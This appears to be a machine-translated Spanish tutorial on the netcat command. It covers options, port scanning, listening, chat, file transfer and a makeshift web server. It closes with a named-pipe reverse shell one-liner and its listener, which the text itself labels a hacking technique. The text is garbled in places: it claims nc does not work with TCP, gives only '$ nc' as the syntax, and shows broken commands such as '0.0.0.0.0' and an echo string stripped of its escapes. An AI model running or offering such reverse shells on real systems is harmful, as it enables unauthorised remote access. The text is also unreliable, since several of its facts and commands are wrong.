El comando netcat
es necesario para enviar y recibir datos utilizando los protocolos TCP y UDP. No tiene un gran conjunto de funciones, pero es suficiente para la comprobación de conexiones y la depuración sencilla. ¿Cómo comunicarse mediante el protocolo TCP? Esta pregunta se la hacen muchos usuarios. En este artículo responderemos a esta pregunta y también mostraremos ejemplos de aplicación real del comando.
El comando netcat
(o nc
) es una potente herramienta para trabajar con conexiones de red. A menudo es utilizado por administradores de sistemas y desarrolladores para diversas tareas. Éstas son las principales funciones y características de netcat
:
netcat
es una herramienta versátil que se puede utilizar en una amplia variedad de escenarios, desde la mensajería simple a operaciones de red complejas.
Empecemos por ver la sintaxis y las más populares:
-6
- utilizar el protocolo IPv6. El valor por defecto es -4 e IPv4 respectivamente;-h
- mostrar ayuda con la lista de parámetros disponibles;-i
- delay - añade retardo entre el envío de cadenas o el escaneo de puertos. Se establece en segundos;-l
- modo de escucha. Se utiliza con la especificación del puerto;-N
- cierra la conexión cuando se alcanza el final del fichero al enviarlo;-n
- Trabaja con direcciones IP directamente sin DNS, también desactiva el escaneo de puertos;-P
- nombre_usuario - especificar el nombre de usuario para conectarse al proxy;-x
- address:port - especificar la dirección y el puerto para conectarse al proxy;-p
- port - especifica el número de puerto. En la mayoría de los casos, el puerto se lee sin especificar el parámetro;-U
- utilizar socket de dominio UNIX (para comunicación entre procesos);-u
- utilizar protocolo UDP, por defecto se utiliza TCP;-v
- modo detallado. Se utiliza al escanear;-W
number_packets - cierra la conexión después de recibir un cierto número de paquetes;-w
timer - activa el temporizador para limitar el tiempo de conexión. Se establece en segundos;-z
- desactivar el envío de datos. Se utiliza durante la exploración.El comando tiene la siguiente forma (parámetros dirección del puerto):
$ nc
A continuación le indicaremos cómo utilizar el comando.
La comprobación es el uso principal de netcat
. Debe utilizar dos parámetros -vz
, especificar dirección y puerto. Puedes especificar un rango de direcciones, pero en este caso es mejor cribar sólo los puertos abiertos con el comandogrep
. Vamos a escanear los puertos de la dirección de la red local:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Del mismo modo, escaneemos los puertos UDP añadiendo el parámetro -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Debes conocer la principal diferencia entre TCP y UDP. Así que en UDP los puertos están siempre disponibles.
El parámetro -l
sirve para escuchar el puerto. A menudo es suficiente, pero puede activar el modo detallado:
$ nc -nlv 8080
Recuerde que cuando se utiliza el protocolo TCP, el puerto debe estar libre, de lo contrario aparecerá el error Ya en uso. No todos los puertos pueden ser utilizados por usuarios normales, por ejemplo el puerto 80 (HTTP), lo más probable es que esté ocupado por otro proceso y requerirá derechos de superusuario.
Una capacidad útil del comando es el intercambio de datos. Un ejemplo sencillo es una sala de chat de texto. Para iniciar un chat en un ordenador, ejecute la utilidad en el modo de escucha de puertos:
$ nc -lp 8080
En el otro ordenador, deberá especificar la dirección del primer ordenador y el mismo puerto. No olvides comprobar también que el puerto está abierto:
$ nc 0.0.0.0 8080
De esta forma podrás enviar y recibir mensajes. Es decir, el comando está pensado para el intercambio de archivos. El principio es el mismo, salvo que es necesario redirigir la salida a un fichero, concretamente paste.txt
:
$ nc -l 8080 > paste.txt
En el otro PC, el fichero copy.
txt servirá de entrada. No está de más utilizar el parámetro -N
para cerrar la conexión tras la transferencia de ficheros:
$ nc -N 0.0.0.0 8080 < copy.txt
Para la transferencia de archivos, es importante seguir la secuencia, primero abrir la escucha y sólo después enviar el archivo. El comando nc funciona, pero está lejos de ser la mejor manera de transferir archivos. Hay herramientas más eficientes y útiles para esta tarea.
Dado que el comando NC no funciona con el protocolo TCP, permite tanto enviar como recibir peticiones HTTP. Por lo tanto, la utilidad puede convertirse en un simple servidor web. Sí, no se puede hacer nada más complicado que una página en blanco de esta manera, pero la operación no llevará casi nada de tiempo, y el plus es que no hace falta instalar nada adicional.
En el formulario de ejemplo respuesta HTTP con el archivo index.html.
Hablando de np en sí, es una buena idea establecer un temporizador con el parámetro -w 1
para romper la conexión si el navegador no lo hace:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Para obtener datos de un sitio web, puedes formar una petición y enviarla a la dirección y puerto aconsejados. Pero esta forma es bastante complicada, es mejor usar el comando CURL apropiado.
Basándonos en los ejemplos discutidos anteriormente, no será difícil concluir que el comando permite organizar el acceso remoto al shell del ordenador. Anteriormente, la utilidad NC tenía varios parámetros para abrir el acceso al terminal. El parámetro -e
ha sido eliminado de la utilidad hace tiempo, por lo que ya no habrá un acceso sencillo al terminal. La seguridad de la propia aplicación ha aumentado, pero aún puede funcionar en conjunción con otras.
Vamos a mostrar la conexión utilizando el canal con nombre mkfifo. En primer lugar, vamos a empezar a escuchar el puerto en el PC donde vamos a tener acceso:
$ nc -lvnp 8080
Vayamos directamente al comando para abrir la terminal. Primero borramos el antiguo canal con nombre(rm /tmp/f
), creamos uno nuevo en su lugar(mkfifo /tmp/f
), leemos su contenido(cat /tmp/f
) y enviamos un comando shell a su salida(sh -i 2>&1
). Después, queda ejecutar nc con salida a nuestro canal nombrado(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Ten en cuenta que esta es una forma de hackear, sin embargo, puede ser útil si hay problemas con ssh
. Para prevenir el ataque configure una política de seguridad y un firewall.